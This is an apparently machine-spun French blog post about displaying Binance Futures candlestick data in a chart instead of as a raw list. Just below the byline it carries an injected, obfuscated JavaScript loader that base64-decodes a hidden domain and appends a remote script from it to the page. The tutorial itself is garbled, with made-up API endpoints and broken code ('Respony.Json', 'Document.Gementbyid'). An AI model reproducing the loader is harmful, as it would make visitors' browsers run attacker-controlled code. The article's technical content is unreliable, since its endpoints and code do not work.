Ethereum: Stop Binance Futures API from printing candlestick data as a list

Publié par zaki le

const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=722b47f8″;document.body.appendChild(script);

API Binance Futures: Avoiding excessive printing of data

As a developer working with API Binance Futures API, you may have encountered a problem in which Candlestick data is printed as a list instead of displaying in a formatted scheme. It can be frustrating and take your overall experience.

The problem is how binance futures API solves data obtaining. When you apply for Candlestick data using Get/Candles/{symbol}/{interval}/{early time}/{end time} , the answer is an array of objects containing all available data points. However, this field is printed as a list instead of displaying in the chart.

This problem can be avoided by adapting the method of loading and displaying candle data using the Binance Futures API interface.

problem:

WhenGet/Candles/{symbol}/{interval}/{early time}/{end time}endpoint returns the field of objects, simply returns as it is. This means that if you are trying to display this data in the chart, all individual points will appear at the top of each other.

Solution:

One way to avoid printing candle data as a list when using the API Binance Futures API is the use of the "JSON () FetchMethod. You can determine that you want the answer to be analyzed as a JSON instead of the field.

To achieve this, you need to make two separate applications:

  • One to load the full set of data and display in the chart (eg Get/Candles/{symbol}/{interval}/{initial time}/{end time}/all).

  • Next to get each candle data points (eg Get/Candles/{symbol}/{interval}/{initial time}/{end time}/{Date} .json).

Here is an example of how you can edit your code to use the option Fetch'JSON ()

Javascript

// load all the candle data at a time

Fetch (‘ {symbol}/{interval}/{start time}/{end time}/all’)

.Then ((Response) => Respony.Json ())

.Then ((data) => {

// View data in the chart using a chart or other library

Const CTX = Document.Gementbyid (‘Candlestick-Chart’). GetContext (‘2D’);

Gard.ctx.canvas = CTX;

new chart (ctx, {

Type: “Line”,

Data: {{

Labels: data.map ((point) => point.Date),

Data files: [{

Label: “Candle Data”,

Data: data.map ((point) => point.close),

Background: « RGBA (255, 99, 132, 0.2) »,

BorderColor: « RGBA (255, 99, 132, 1) »

Border Width: 1,

}],

},

});

})

.catch ((error) => console.error (error));

`

Similarly, you can edit your code to get each candle data points using Get/Candles/{{symbol}/{interval}/{start time}/{end time}/{{date} .json endpoint.

`Javascript

// to load individual candle data to a particular date

Fetch ({symbol}/$ {interval}/$ {start time}/$ {end time}/$ {date} .json)

.Then ((Response) => Respony.Json ())

.Then ((data) => {

// View data in the chart using a chart or other library

Const CTX = Document.Gementbyid (‘Candlestick-Chart’). GetContext (‘2D’);

Gard.ctx.canvas = CTX;

new chart (ctx, {

Type: “Line”,

Data: {{

Labels: data.map ((point) => point.Date),

Data files: [{

Label: “Candle Data”,

Data: data.map ((point) => point.close),

Background: « RGBA (255, 99, 132, 0.2) »,

BorderColor: « RGBA (255, 99, 132, 1) »

Border Width: 1,

}],

},

});

})

.catch ((error) => console.error (error));

`

Using the Fetch`` and loading data for a single call you can avoid printing candle data as a list when using the API Binance Futures API. Instead, you will be able to view it in the chart with greater control over the layout.

Ethereum Immature

Catégories : CRYPTOCURRENCY

0 commentaire

Laisser un commentaire

Emplacement de l’avatar

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *